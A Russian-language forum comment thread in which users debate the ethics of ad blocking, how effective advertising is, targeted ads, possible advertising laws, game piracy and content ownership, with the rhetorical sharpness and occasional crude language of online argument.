О чём я и говорил в прошлом сообщении про категоричность и крайности. Вы сами себе навязали мой образ, обвесили его категоричностями и крайностями, в виде обязательных переходов и обзвонов и прочего, а потом начинаете спорить и предъявлять мне эти вещи, придуманные вами же.
За сим откланяюсь, спорить с вашим вымышленным портретом мне совершенно не интересно.
0
Ещё раз для тех, кто в танке. Просматривая контент сайта с использованием любой угодной мне фильтрации, я не нарушаю законов и не попираю ничьи права. То, что вы думаете иначе — не более чем ваши собственные тараканы.

и ваш ответ
На самом деле, вы сейчас просто прикрываетесь тем, что этих законов просто нет.

Однако, печалиться не стоит — мир идёт к регуляции интернета и, думаю, лет через 10-15 появятся и законы про рекламу в интернете.)

Возможно, я не уловил иронии в вашем посте, но в этом ответе мне показалось, что вы за законы об обязательности просмотра рекламы в интернете. Слишком уж неоднозначно он звучит (выглядит?). И ниже:
Если появятся такие законы, как неотделимость контента и рекламы — появятся и законы ограничения этой рекламы, создавая компромисс между состоянием «без рекламы» и «всё в рекламе».

Либо я пессимист, либо одно из двух, но мне кажется что а) вторых законов будет много меньше, чем первых; или б) вторые законы будут обходиться легальными путями (лазейками, недоработками) и не будут работать. Поэтому я и спрашиваю именно вас, как поднявшего тему про законы о рекламе, почему вам хочется законом заставить меня потреблять в интернете то, что в реальном мире я просто выбрасываю в урну?
0
Поэтому я и спрашиваю именно вас, как поднявшего тему про законы о рекламе, почему вам хочется законом заставить меня потреблять в интернете то, что в реальном мире я просто выбрасываю в урну?

— Идя по улице, вы у себя в мозге выключаете возможность анализа рекламы, развешенной в округе?
— Идя по ТЦ, вы так же выключаете возможность анализа рекламы, которая подаётся через динамики?
— Идя в кинотеатр, вы не смотрите рекламу, что показывают перед показом?
— Смотря телевизор, вы не смотрите\не слышите рекламу, что показывают там?
— Читая рассказ, в котором автор рекламирует что-то — вы просто автоматически перескакиваете на другие строчки?
— Смотря ролик на ютубе — вы не смотрите и не слышите ни единого слова рекламы?
— Смотря фильм на каком-нибудь пиратском хостинге — вы не слышите и не смотрите встроенную рекламу, что идёт поверх фильма?
— Идя в магазин и подходя к консультанту вы не слушаете то, как он рекламирует что-то?
— Слушая, как друг воодушевлённо рассказывает о каком-то продукте — вы не слушаете его?
— Едя в ОТ вы от скуки не рассматриваете те объявления, что развешены в нём?

Как же вы выбрасываете в урну все примеры, что я привёл выше?)
Уверен, что вы точно так же потребляете рекламу, как и все мы — эта самая реклама стала неотъемлемой частью нашей жизни. Она — почти везде. Где-то в более агрессивной форме, где-то в менее агрессивной. Где-то на коммерческой основе, где-то на некоммерческой. Где-то на умышленном распространении, где-то на неумышленном. Суть не меняется.

Или вы, потребляя всю рекламу, примеры которой я привёл выше, сразу бежите и делаете то, что от вас хотят? Я так понимаю, у вас дома и у ваших друзей уже стоит холодильник Фекл?)
Уверен, что нет. Людей настолько восприимчивых к рекламе не так много. И на хабре их процент ещё меньше.

Впрочем, это лирика.
Вы опять уходите в крайности, в виде потребление = обязательное прокликивание, прозвон.

А касательно того, как я это всё вижу, то декларативно, если появятся законы, регулирующие интернет и рекламу в нём, то с блокировщиками будут бороться и сведут их использование на тот минимальный уровень, который всех устроит. А саму рекламу сделают менее агрессивной и навязчивой, чтобы сами пользователи не разбежались.
В итоге этого действа реклама станет более осмысленной и менее агрессивной, менее навязчивой, но её станет более проблематично вырезать для конечного пользователя, что увеличит % просмотра самой рекламы. Способы вырезать останутся, но их распространение будет иметь куда меньший процент, чем сейчас.

Как всё это будет достигнуто? Это вопрос другой. Способов множество, как гуманных, так и негуманных. Может статься так, что коммерческая модель вовсе поменяется и реклама будет заменена чем-то другим. Время покажет.
0
Идя по улице, вы у себя в мозге выключаете возможность анализа рекламы, развешенной в округе?

Да. Я читаю книгу. Если в книге упоминание марки — это не реклама, а если повествование прерывается «от Парижа до Находки Contex — лучшие колготки» — этот высер отправляется в мусор. Точно так же я не слушаю рекламу в ТЦ, не обращаю на неё никакого внимания принимая за такой же фон, как «гул толпы». В кинотеатрах (в КИНО, тут театра нет от слова совсем) рекламируют фильмы, а не холодильник Фекл, и это не столько реклама, сколько анонс (смотрите с 31 февраля). Телевизор не смотрю, рекламную паузу, если таки смотрю, использую для похода в туалет или за чаем. Реклама на ютубе в видео, если всплывающим окошком — закрывается на автомате, если врезка — отвлекаюсь на что-либо из других приложений, либо просто дожидаюсь момента, когда можно закрыть. Десятилетия и интернет научили меня фильтровать рекламу. Я просто не воспринимаю её. Не знаю как у вас, но с консультантами мне везло — они не пытались впарить мне что-то, а вполне адекватно обсуждали плюсы и минусы того или иного продукта. И я не даю (пресекаю) свернуть с темы. Друг рассказывает не про левый товар, а про то, что сам опробовал. И в ОТ я тоже читаю книгу или смотрю в окно. И да, я забыл, когда последний раз смотрел фильм с компа.
Да, я отсеиваю рекламу в реальной жизни. Что-то прорывается (как и с блокерами), но процент этого невелик. И точно так же я не желаю закрывать 10 окон рекламы и пробираться к контенту в интернете. Я сам вырезал из контента рекламные слои . Так почему бы не автоматизировать это блокером?
0
Это мой последний комментарий к вам.

Да. Я читаю книгу.

Идёте по улице и читаете книгу. Браво. Много столбов уже схватили лбом?)

Если в книге упоминание марки — это не реклама,

Это реклама. ;)
Почитайте про Product Placement.
Где же тут «выкинуть в мусорку»?

не обращаю на неё никакого внимания принимая за такой же фон, как «гул толпы»

Не обращаю внимания != вырезаю. Эту рекламу вы так же воспринимаете, просто фильтруете, как ненужную.
Где же тут «выкинуть в мусорку»?

рекламируют фильмы, а не холодильник Фекл, и это не столько реклама, сколько анонс (смотрите с 31 февраля).

Да, пример не совсем однозначен, согласен.

Телевизор не смотрю, рекламную паузу, если таки смотрю, использую для похода в туалет или за чаем.

Реклама на ютубе в видео, если всплывающим окошком — закрывается на автомате, если врезка — отвлекаюсь на что-либо из других приложений, либо просто дожидаюсь момента, когда можно закрыть.

И звук выключаете? =)
Как минимум одно объявление или название вы всё равно улавливаете и воспринимаете.
Где же тут «выкинуть в мусорку»?

Друг рассказывает не про левый товар, а про то, что сам опробовал.

И… это тоже реклама! Сарафанное радио — один из способов рекламирования и продвижения своего продукта.
Где же тут «выкинуть в мусорку»?

Особенно ярко это заметно с разными общепитами и подобными вещами. По-началу прекрасное качество, прекрасные цены, всё супер, а через пол года-год качество падает, цены растут. Почему?
Да потому что в самом начале выезжают за счёт сарафанного радио, набирая клиентуру, а когда надобность заканчивается — начинается экономия.

И в ОТ я тоже читаю книгу или смотрю в окно.

И за окном не видите рекламных щитов, на которых красуется реклама?)
Знаю, скажете — внимания не обращаю. А на деле? На деле ваш мозг эту рекламу всё же видит и обрабатывает, но т.к. вам это не интересно — не особо выделяет её на фоне.

Да, я отсеиваю рекламу в реальной жизни. Что-то прорывается (как и с блокерами), но процент этого невелик.

Представьте себе, я на хабре сижу без блокировщика, и на большинстве сайтов тоже. И вся эта реклама прекрасно отсеивается мозгом! Так же, как вы фильтруете аудио-рекламу в ТЦ. Невероятно, правда?

И точно так же я не желаю закрывать 10 окон рекламы и пробираться к контенту в интернете.

Всплывающая реклама, закрывающая контент, действительно, зло. Но таких сайтов из популярных, слава богу, не подавляющее большинство и, если интернет будет регулироваться законами, то с такой рекламой будут бороться, чтобы создать компромисс.

Я сам вырезал из контента рекламные слои. Так почему бы не автоматизировать это блокером?

А ответ-то прост. В первом случае, когда вы сами вырезали — вы всю эту рекламу видели и воспринимали. Да, не переходили, да не интересовались, да не обзванивали, но вы её видели и обрабатывали.
Если бы каждый вручную всё вырезал — проблем бы не было, потому что нашелся бы процент людей, которых бы это заинтересовало и реклама была бы актуальна.
А вот когда это происходит автоматически, без нашего участия — эту рекламу не видит никто и никто её не воспринимает и из-за этого тот самый процент, которых бы это заинтересовало — теряется.

В этом кардинальное отличие блокировщика от реальной жизни. И причина проблемы, которая возникает при использовании блокировщика.
Увидеть\услышать и отфильтровать против заблокировать вообще.
Небольшой процент людей, которых реклама заинтересовала и добавочный процент от людей, которые просто отфильтровали и в будущем мозг «вспомнил» против абсолютного 0.

На этом я заканчиваю сию дискуссию. Удачи вам на просторах интернета.
0
Если бы каждый вручную всё вырезал — проблем бы не было, потому что нашелся бы процент людей, которых бы это заинтересовало и реклама была бы актуальна.

Некоторое противоречие кроется в слове «актуальна».

Тут дело в том, что таргетированная реклама выдается постфактум, т.е. ее актуальность уже под вопросом.

Примеры из недавнего:

1. Ищу в Инете планку памяти. Сразу же директ начинает мне подсовывать баннеры типа «Купить память бла-бла-бла».
Ну не нужно мне ее покупать! Мне просто надо было проверить, есть ли у нее контроль ECC и registered буферизация!

2. Ищу сравнительные характеристики и цены на ViPNet. Мне опять-таки начинают пихать баннеры «Купить ViPNet».
Ну не нужны мне какие-то продавцы из рекламы. Цены на этот продукт одинаковые и задаются партнерам разработчиком. Я позвонил ему и узнал адреса ближайших партнеров, куда удобно будет съездить и забрать пакет документов.

3. Для составления плана закупок посмотрел на цены на Windows 10 Pro. Тотчас мне начали предлагать купить десятку за 3-4 тысячи.
Ну не может у легального поставщика она столько стоить! Это мошенники и один раз мы уже нарвались на таких.

Это я к тому, что таргетированная реклама априори запаздывает, не поспевает за моими запросами. А, следовательно, мне она не интересна. Так зачем же мне ее смотреть? Тратить время и электроэнергию на ее загрузку?
0
Извините, что вмешиваюсь: просто иллюстрация к
Я не слушаю рекламу в ТЦ
image
0
Вариантов масса, как от того или иного вида рекламы «уйти», с этим-то никто не спорит.

Но из-за этих способов самой рекламы меньше не станет, да и это зачастую лишь частичный блок, позволяющий временно уменьшить количество усваиваемой рекламы, ведь, если в том же тц нужно что-то купить, то мы наушники снимаем, чтобы услышать продавца, верно? А в этом случае на фоне-таки можно услышать рекламу, чего будет вполне себе достаточно, чтобы она усвоилась и отложилась в нашей голове. Так же, банально, блуждая по ТЦ мы видим десятки и сотни рекламных объявлений, которые попадают в наше поле зрения — на каких-то задерживаемся взглядом, какие-то даже не замечаем.

Мы привыкли жить посреди рекламы и просто не замечаем многих вещей уже на автомате, но от этого рекламой это всё быть не перестаёт. Как не перестаёт она влиять на нас и нашу жизнь, на наш выбор. Где-то в большей степени, где-то в меньшей.
Не вся реклама бесполезна и плоха, что-то может быть вполне себе полезно.
0
в этом случае на фоне-таки можно услышать рекламу, чего будет вполне себе достаточно, чтобы она усвоилась и отложилась в нашей голове
Вопрос в значительной степени религиозный.

Есть у меня неясное подозрение, что эффективность всех этих двадцать пятых кадров, мелькающих баннеров, энграмм и прочего НЛП несколько, как бы это сказать, преувеличена. Мозг до хрена всего обрабатывает ежесекундно, один только видеопоток чего стоит. 99% этой информации уходит на корм сборщику мусора немедленно, а еще 99% оставшейся — по истечении нескольких секунд за утратой актуальности.
Листик с дерева упал. Велосипедист вдали проехал, не приближается, удаляется, угроза столкновения отсутствует. Девушка прошла красивая, завернула за угол. Лужа на асфальте… Да запоминай мы это все, у нас голова бы лопнула через несколько дней после рождения. Поэтому запоминается что-то выделяющееся, на том изрядная часть рекламы и построена.

Но когда мы уже привыкли жить посреди рекламы: ключевые слова «уже привыкли» — попытки выделиться очень быстро распознаются, как привычные, и отправляются на корм тому же сборщику мусора. Отсюда непрерывная гонка.
Баннер на сайте — ааа — всплеск продаж — примелькался — неэффективен. Анимированный баннер — ааа — всплеск продаж — примелькался — неэффективен. Кликандер — ааа — …
Поэтому закрывающие контент рекламные блоки не зло, а неизбежный этап развития в борьбе снаряда рекламы с броней привычности.
И это пройдет.

А полезная реклама есть, конечно. Та, которую я сам запросил. Если я введу в поисковик, например, «смартфоны сравнение», или «смартфоны обзоры», или наконец, «смартфон купить» — вот тут-то я и увижу полезную рекламу. В виде выдачи поисковика, вот вам сравнения от ведущих блогеров, вот обзоры от ведущих журналистов, вот рекомендации ведущих собаководов…
0
Вопрос в значительной степени религиозный.

Есть у меня неясное подозрение, что эффективность всех этих двадцать пятых кадров, мелькающих баннеров, энграмм и прочего НЛП несколько, как бы это сказать, преувеличена.

Несомненно, конкретно тема влияния — вопрос больше религиозный, потому что все люди разные. На кого-то влияния больше, на кого-то меньше. Кто-то приспособился, кто-то нет. И процентное соотношение этих людей не статично, а постоянно меняется.

Но вся эта ветка не про это, а про то, что «выкинуть в урну» рекламу в реальной жизни можно, разве что, бумажную, в виде буклета, и, когда человек приводит аналогию с буклетом и урной, показывая, что в реальной жизни можно выкинуть рекламу в мусорку и поэтому в интернете так оно должно быть, то этот человек пишет несуразность.
Нет, в реальной жизни выкинуть всю рекламу в урну невозможно, она всё равно будет вокруг нас повсюду и вырезать её невозможно. И поэтому оправдывать использование блокировщика этой аналогией — глупость.
0
Нет, в реальной жизни выкинуть всю рекламу в урну невозможно, она всё равно будет вокруг нас повсюду и вырезать её невозможно.

Вообще способы есть. AR. Я уже писал про это.

К пояснению о рекламе: для 99% рекламы я не таргет. Именно рекламы как бизнеса, а не продуктплейсмента (да нас@#$ь что антигерой пользуется Vertu — излишний выпендрёж, а ГГ «православным поносоником») или «сарафанного радио». Вы когда-нибудь пытались что-то выделить из белого шума? Вот для меня реклама на билбордах, в ТЦ, ОТ, по телеку, на заборе равносильна белому шуму. Те немногие продукты, для которых я таргет, я тоже не воспринимаю. Сок разрекламированный «Добррый» или «Садочок», для которого я не видел рекламы? Попробовал тот и другой, второй оказался лучше, беру его. Мороженное яркий «Топ» или невзрачный «Пломбир»? «Пломбир» много вкуснее, а «Топ»… он и дороже. Мобилы: в с@#$у яблофоны — переплата за брэнд, выбираю лучший по соотношению цена/характеристики_которые_меня_устраивают. То, что наш хлебозавод делает офигенные торты я узнал до того, как появилась реклама. И так в каждом аспекте.

Из рекламы, на которую обращаю внимание — только если ищу что-то. И то выбираю уже не по рекламе, а по характеристикам в сравнении.

P.S. Столбы на месте, я много тренировался с книгой ходить. Я даже людей обхожу XD
+1
оправдывать использование блокировщика этой аналогией
По моему скромному, использование блокировщика в оправдании попросту не нуждается.

Тут все честно: кому-то нужны мои деньги, но я считаю, что способен тратить деньги без подсказок со стороны. Подсказки пытаются донести до меня разными способами, а я отбиваюсь в меру своего желания и своих возможностей.

Если автоматизацию блокировки рекламы с моей стороны считать некорректной, то логично будет считать некорректной и автоматизацию донесения рекламы до меня.
0
Пример полезной рекламы — в студию.

Там, где нет «энергии свежести», «доказано учёными», «доктор всех наук Х.Иванов рекомендует» и прочего «змеиного масла».

По мне, единственный действительно ценный вариант рекламы — это пресловутое сарафанное радио, и то я принимаю во внимание отзывы далеко не от всех.

Прочая реклама, конечно, как-то проникает в оперативную и долгосрочную память, но на стадии принятия решения действуют иные критерии. Так что вполне согласен с товарищем, утверждавшим, что он сознательно фильтрует рекламу.
0
Будут законы — будем говорить предметно.

А пока что я не «прикрываюсь» — я просто предлагаю с кочки зрения «я так считаю» перейти в правовой спор. Есть закон? Отлично, надо выполнять. Нет? Тогда это «слово против слова», и каждый прав — каждый понимает, как хочет.

А до той поры выступающие за право требовать от меня смотреть их заваленный рекламой сайт как есть, могут подтереться своим мнением — по той простой причине, что правовых способов заставить меня смотреть их рекламу нет.

(к слову, если, не приведи Будда, появятся абсурдные законы, которые смогут требовать смотреть рекламу, если так прописал в ToS автор сайта — станет ещё проще, на такие сайты просто не буду заходить)
0
(к слову, если, не приведи Будда, появятся абсурдные законы, которые смогут требовать смотреть рекламу, если так прописал в ToS автор сайта — станет ещё проще, на такие сайты просто не буду заходить)

Если появятся такие законы, как неотделимость контента и рекламы — появятся и законы ограничения этой рекламы, создавая компромисс между состоянием «без рекламы» и «всё в рекламе». И, в таком случае, большинство сайтов воспользуются этим законом и вам, банально, станет почти некуда заходить.)
Не стоит думать, что в случае появления таких законов останется множество сайтов без рекламы. Они будут, но их будет ничтожно мало.
0
Да и слава богу.

Меньше времени в Сети — больше времени на что-либо путное.

Так что я по-любому в выигрыше.
0
Почему вы упорно игнорируете аналогию с торрентами?

Потому, что это вообще тема неблагодарная. И я лично ничего не имею против торрентов — установка себе игры «torrent_edition» идет в разрез с моим… скажем, моральным кодексом, не больше, чем взять у друга фильм посмотреть, обменяться с ним VHS-кассетой или сделать себе копию. А этим, подозреваю, занимались в своё время все.

Но вернемся к Вашему сравнению. Аналогия некорректна почти полностью, объясню, почему: скачивание игры с торрента, вместо покупки на официальном сайте — это как просмотр определенного контента не на вашем сайте (с блокиратором или без), а на любом соседнем.

Я задаю простой вопрос.
Скачанная фифа с торрента это пиратство или нет?

Отвечаю: не-а. Не пиратство. И тем более не воровство (предвосхищая следующий потенциальный вопрос). «Пиратство» — это сам взлом игры.

Вы поймите: почти никто не будет по своей воле создавать себе дискомфорт (в виде отключения блокировщиков) просто для того, чтоб кому-то со стороны упала за счет этого копеечка. Это сделают разве что если сайт действительно очень хороший и полезный, на нем сидят более-менее постоянно, и реклама там с исключительным чувством меры. Без раздражителей. Тогда — возможно. Но только тогда ;)
0
Ок, хорошо. Хотите чтобы ваш контент смотрели с рекламой — делайте так, чтобы контент не показывался при активной AD-резалки и предупреждайте об этом на месте «вырезанного» контента. Если вы предоставляете контент отдельно, рекламу отдельно и при этом нет нигде упоминания, что так смотреть нельзя ваш контент, значит я имею право смотреть его как захочу.

По примеру с играми… Вопрос на засыпку: почему до сих пор нет пиратской версии Elite: Dangerous? Вот сейчас честно попытался найти её на торрентах. Нашёл. Но первым же комментарием автор раздачи говорит «Для игры на оф. серверах потребуется регистрация на оф. сайте при запуске Лаунчера с покупкой ключа.» Оп-па, приплыли.

И уже есть выбор: потреблять контент на ваших условиях или не потреблять вообще. Вот что имелось в виду под
Отлично, где я могу прочитать условия получения контента? На спрятанной в самый темный угол странице правил на которую прямой ссылки нет ниоткуда? Такая страница вообще есть? Я попадаю на сайт и понятия не имею какие вы там условия придумали. Я вижу контент и рекламу. Или только контент. Где условия то? Или я должен о них догадаться?
И я много видел сайтов, которые не предоставляли контент при активной рекламорезке, просили отключить её на месте контента заявляя, что это их контент и их правила
0
Ок, хорошо. Хотите чтобы ваш контент смотрели с рекламой — делайте так, чтобы контент не показывался при активной AD-резалки и предупреждайте об этом на месте «вырезанного» контента. Если вы предоставляете контент отдельно, рекламу отдельно и при этом нет нигде упоминания, что так смотреть нельзя ваш контент, значит я имею право смотреть его как захочу.

Внезапно, блокировщики это не любят и активно противостоят. И обсуждение скатывается — да вы не найдете, да мой блокировщик все скроет.
Где API у адблока, отключающее доступ к сайту при включенном блокировщике? Нету.
Почему нету? Потому что никто не будет пользоваться адблоком, так как владельцу сайта клиент с адблоком собственно не только НЕ ИНТЕРЕСЕН. Он банально вреден — лишняя нагрузка, лишний трафик, лишние деньги.
Вот типичный
ответ техподдержки AdBlock.
Если вас блочат и не пускают — есть следующие варианты:
1) выключить adblock на время везде
2) выключить adblock на конкретном сайте
3) Посмотреть в просмотре для чтения, кеше гугла
4) Путь для продвинутых — попытаться спрятать Adblock от скриптов.
То есть по факту — вариант попытаться спрятать с подробным мануалом — вот он.
И при этом очень лживо выглядит ссылка в конце — почему Adblock не прорывается через блокады.
Мы вот типа вам мануал сделали как обойти скрипты, но мы типа не при чем.

По примеру с играми… Вопрос на засыпку: почему до сих пор нет пиратской версии Elite: Dangerous? Вот сейчас честно попытался найти её на торрентах. Нашёл. Но первым же комментарием автор раздачи говорит «Для игры на оф. серверах потребуется регистрация на оф. сайте при запуске Лаунчера с покупкой ключа.» Оп-па, приплыли.

Да. Игры теперь онлайн. Собственно в чем противоречие? Соло оффлайн игр практически не осталось — даже FIFA по любому чиху стучится в интернет.
+1
Да, игры онлайн. World of Warcraft онлайн, что не мешает играть на пиратском сервере WoW. Внезапно, да? Онлайн игру спиратили. Причём пиратских серверов было овердофига ещё во времена классика и dial-up интернета в моей стране. Я же просто прошу найти мне пиратскую Elite: Dangerous.
даже FIFA по любому чиху стучится в интернет

что фиксится при взломе патчем hosts и поднятием квазисервера на локальной машине
0
Я же просто прошу найти мне пиратскую Elite: Dangerous.

ED по своей структуре не является ММО в общепринятом понимании. У нее даже нет какого-то одного общего сервера, Вы ведь в курсе? Они используют амазоновские, если не ошибаюсь. Все пространство игры поделено на «инстансы», причем одновременно в одном может оказаться не более 32х игроков. Если Вы в нее играли — наверняка сталкивались с ситуацией, когда летая с кем-нибудь в крыле вываливаетесь в обычное пространство из «супер-круиза», и другого игрока уже не видите. Хотя оба в одной системе, у одной планеты/станции. А все просто — его закинуло на другой сервер.

Полагаю, это тоже является нехилой причиной отсутствия полноценной «фришки» — крайне кривая архитектура. Что делает создание фришарда как минимум не стоящим того, если вообще возможным.

Если ошибаюсь, поправьте меня, кто разбирается.
0
Если крайне кривая архитектура мешает появлению пиратских серверов, то может она не такая уж и кривая?
0
то может она не такая уж и кривая?


Ага, просто затейливая.
0
То, что мешает не только появлению пираток, но и нормальному и стабильному игровому процессу после приобретения продукта и установки официального клиента — наверное, все-таки вполне заслуженно можно назвать «кривым». Это даже если не учитывать блокировки от РКН, под которые попали некоторые из амазоновских серверов, ввиду чего многим людям приходится играть только через VPN.
Опять же, хоть про нее и пишут «ММО» — но это как раз тот случай, когда «крякает, как утка, но не утка».
Если уж вдаваться в подробности, то отдельного упоминания заслуживает их «соло-режим»: действия, которые игроки совершают в этом режиме, так же имеют «последствия» и для тех, кто в режиме «открытой игры». Только вот этих игроков нигде не увидеть и не поймать. Про вагон и маленькую тележку багов/эксплоитов расписывать не буду — всё-таки это будет лютым оффтопом :)
0
Мне вот интересно — вы стебетесь или реально?
Конечно реально. С какой стати я должен придумывать какие именно условия я должен соблюсти чтобы смотреть ваш контент? Вы мне условия предложили? Нет. Я с ними согласился? Да я в принципе не мог этого сделать. Какие ко мне требования тогда? Законом ваш контент также не охраняется как продукция магазина. Я чист со всех сторон и я абсолютно серьезен.
Это не пиратство же — я скачал и играю.
Поэтому и борются в нормальных странах не с вами, а с создателями торрентов и сайтами по их распространения.
Я нигде на ваши еулы не соглашался и юридически я вправе играть в игрушку и не покупать ее (или все-таки нет?).
Вы — вправе раз не соглашались. А что, кто-то говорит иначе?
Какие деньги? Вы заблокировали рекламу же. Я получаю от вас только нагрузку на сервер, разве нет?
Вам, совершенно очевидно, неинтересно убеждать пользователей с блокировщиком. А что, я где-то говорил иначе? Я говорил про пользователей вообще, если к вам на сайт никто не придет, то денег вы также не получите.
0
Поэтому и борются в нормальных странах не с вами, а с создателями торрентов и сайтами по их распространения.

Ага… А штрафы приходят почему-то простым пользователям
Тут например.
Там фильмы и музыка, по играм банально не нашел, да и видимо нафиг не надо никому. Все игры перешли в онлайн и без интернета вы их не запустите даже.
0
Есть отдельные страны в которых странное законодательство. Для вас это новость? Но если вам интересно именно в контексте этих законов как это должно работать и почему они не пойдут дальше и не запретят блокировщики рекламы, то и спрашивать нужно тех, кто эти законы принимал. Я тут совершенно ни при чем, права голоса в Германии у меня нет и вообще я там не живу. По остальному, я так понимаю, вам сказать нечего?
+1
Конечно.
Конечно вы можете запрашивать любые условия использования вашего контента. Если он действительно ваш.

К сожалению, в 99% случаев выгодоприобретатели от рекламы имеют весьма опосредованное отношение к авторам контента, и даже владельцы из них получаются только неисключительных прав на публикацию. Это, заметим, относится к наиболее приличным площадкам, класса Хабра или ЖЖ. А как вы обзовете засирающие первый десяток страниц выдачи поисковиков говносайты с одной и той же, слегка рерайтнутой информацией?
Тоже гордыми владельцами контента, да?
0
Конечно.
Конечно вы можете запрашивать любые условия использования вашего контента. Если он действительно ваш.

У кого права, того и контент, разве нет?
Не стоит лезть в дебри законодательства — публикуя статьи на том же хабре вы отчуждаете права.
Да и откровенно говоря 90+% статей на хабре на данный момент пишутся редакторами на зарплате — или в корп блогах или «редакторами Хабра».
А как вы обзовете засирающие первый десяток страниц выдачи поисковиков говносайты с одной и той же, слегка рерайтнутой информацией?
Тоже гордыми владельцами контента, да?

Ну во-первых — это проблема поисковиков, которые ставят эти сайты.
Во-вторых — объективно, я не говорил ничего про качество этого самого контента. Качественный он или нет — решаете вы для себя самостоятельно. Это такая взрослая штука как принятие решения. Если он вам не нужен вы закрываете страничку крестиком сверху и не смотрите ни на контент ни на рекламу. В чем проблема?
Или вам контент все-таки нужен, но он гавно потому платить не буду?
Выглядит как пришел в кафешку, поел и говоришь официанту — еда у вас гавно потому платить я не буду.
+1
публикуя статьи на том же хабре вы отчуждаете права.
(Перечитав внимательно) Про хабр вы правы, а я ошибался, права действительно отчуждаются. Для ЖЖ, кстати, это до сих пор не так, только неисключительное право.
объективно, я не говорил ничего про качество этого самого контента.
Ключевое словосочетание, которое вы пропустили, «слегка рерайтнутой». В смысле, что эти люди не являются ни авторами, ни правообладателями на основную информацию, но в вашей же терминологии украв ее, внесли косметические изменения.
Если он вам не нужен вы закрываете страничку крестиком сверху и не смотрите ни на контент ни на рекламу. В чем проблема?
Проблема в том, что пока не существует возможности телепатически оценить контент, не ознакомившись с ним. А соответственно, в вашей модели, и с рекламой. Та же ситуация, что и с книгой неизвестного автора. Не купил — не узнал, что говно: а раз купил, то рыбка задом не плывет и свои триста рублей говноделу ты уже заплатил.

Выглядит, как приходишь в кафешку, вытаскиваешь из супа вареного таракана и размокшую этикетку от кетчупа, а на хабре тебе объясняют, что владельцы же старались, готовили, продукты тратили, поэтому надо заплатить, а как же.
+1
Я вставлю свои пять копеек.

Популярная ложная аналогия — с продажей предметов материального мира. В случае упомянутых пельменей с тараканами их (пельмени) можно, в теории, сдать в нужные контролирующие органы, и тогда упомянутое кафе рискует влететь на некривой такой штраф, как минимум.

А вот с цифровыми товарами всё плохо. Главным образом потому, что ни «развидеть», ни «расчитать» или «расслышать» (в том же реверсивном значении) человек не может. Потребил контент? Свободен! По закону никто тебе ничего не обязан возвращать, раз ты не можешь удалить из мозга впечатления.

Именно потому я иногда трачу чуток времени на полистать книги прямо в магазине. Не возбраняется, обычно. А если ушлые авторы оклеивают своё драгоценное изделие так, что «вначале купи, потом листай» — сразу в чёрный список идут.

То же самое и с сайтом. Если мне первым делом рисуют поп-, простите, -ап на весь экран «отключи свой гр%$#&^ый блокировщик рекламы!», далее следуют два действия: внесение домена в список блокировок uBlock Origin, и второе — Ctrl-F4. Hasta la vista, baby.
0
(Перечитав внимательно) Про хабр вы правы, а я ошибался, права действительно отчуждаются. Для ЖЖ, кстати, это до сих пор не так, только неисключительное право.

Неисключительное право это тоже право.
Вы даете право пользоваться, а значит в правовом плане у сайта есть все права на контент, который он показывает пользователям. То, что они неисключительные и этот контент может быть на другом сайте доступен бесплатно без рекламы не меняет того, что НА ДАННОМ сайте этот контент доступен так.
Вас же не удивляет разная цена фильмов в разных онлайн-кинотеатрах?
Ключевое словосочетание, которое вы пропустили, «слегка рерайтнутой». В смысле, что эти люди не являются ни авторами, ни правообладателями на основную информацию, но в вашей же терминологии украв ее, внесли косметические изменения.

Согласно нашему и не только законодательству — есть права, например, на конкретное исполнение классической композиции. То есть ноты у всех одинаковые, но вот я так исполнил и это моя версия, на которую у меня есть права. В рерайте хотя бы текст другой.
Тут мы скатимся к тому, что надо каждую статью проверять на некую «уникальность» и критерии этой уникальности будут весьма размытые.
Проблема в том, что пока не существует возможности телепатически оценить контент, не ознакомившись с ним. А соответственно, в вашей модели, и с рекламой. Та же ситуация, что и с книгой неизвестного автора. Не купил — не узнал, что говно: а раз купил, то рыбка задом не плывет и свои триста рублей говноделу ты уже заплатил.

А это со всем контентом так.
Я вот в кино пошел, а фильм ну откровенное говно, хотя отзывы критиков прям сплошная десятка (на кинопоиске — 90% наших фильмов с дотациями из бюджета, например). Даже если я выйду в течение 10 минут после начала деньги не вернут.
Про кафешку — притянуто за уши хотя бы потому, что в кафешке вы не можете заказать еду и просто уйти, например.
0
А это со всем контентом так.
Отнюдь.
Начиная с угольно-черной Флибусты, заканчивая снежно-белым дистрибутивом Убунты: никаких проблем с обязательной предоплатой. Убунте хотя бы задонатить можно, а Флибуста, ЕМНИП, денег не берет, даже если предлагать.
Про кафешку — притянуто за уши
Ну извините, я воспользовался вашей же аналогией.
"… пришел в кафешку, поел и говоришь..."
мы скатимся к тому, что надо каждую статью проверять
Все проще.
Если прикрутить рекламный крантик, то эти гордые рерайтовладельцы передохнут сами, как тараканы на чистой кухне. Тем самым, как и тараканы, решив изрядную часть проблем конечного пользователя, вынужденного сейчас разгребать авгиевы конюшни из СЕО, ключевых слов и продающих контекстов при каждом заходе в поисковик.
Вас же не удивляет разная цена фильмов в разных онлайн-кинотеатрах?
Меня даже сами онлайн-кинотеатры не удивляют, но разговор не о них.
Классическая рыночная модель имеет обратную связь. Продавец говна задорого имеет хорошие шансы столкнуться с отсутствием спроса. Нынешняя модель оплаты рекламой такой связи лишена: спрос формируется позицией в поисковой выдаче, а не качеством контента и не удобством конечных пользователей.
Блокировщики рекламы предоставляют возможность обратной связи. Этой возможностью можно пользоваться, а можно нет — но она предоставлена, а до их появления не существовала.
Собственно, это все.
0
Классическая рыночная модель имеет обратную связь. Продавец говна задорого имеет хорошие шансы столкнуться с отсутствием спроса. Нынешняя модель оплаты рекламой такой связи лишена: спрос формируется позицией в поисковой выдаче, а не качеством контента и не удобством конечных пользователей.

Если мой сайт закрывают сразу после открытия я не получаю денег с рекламы (кликов 0) и получаю проблемы от поисковых систем, которые начинают опускать мой сайт в выдаче. Как это нет обратной связи?
Блокировщики рекламы предоставляют возможность обратной связи. Этой возможностью можно пользоваться, а можно нет — но она предоставлена, а до их появления не существовала.
Собственно, это все.

Это что за обратная связь такая?
Независимо от того нравится контент или нет, говно он или нет владелец не получает ничего с рекламы в любом случае. Где обратная связь я тут в упор не вижу.
0
Если мой сайт закрывают сразу после открытия я не получаю денег с рекламы (кликов 0)
Видите ли, лично я на рекламные баннеры не кликаю никогда. Вообще никогда. Последний раз лет десять назад оскоромился.
На таких условиях мне можно ставить блокировщик рекламы? Тогда я ваш сайт закрывать сразу не буду, вам польза, поисковые системы приподнимут: а дохода с меня вы так и так не получите.
Где обратная связь я тут в упор не вижу.
Обратная связь реализуется через белые списки блокировщика, например.
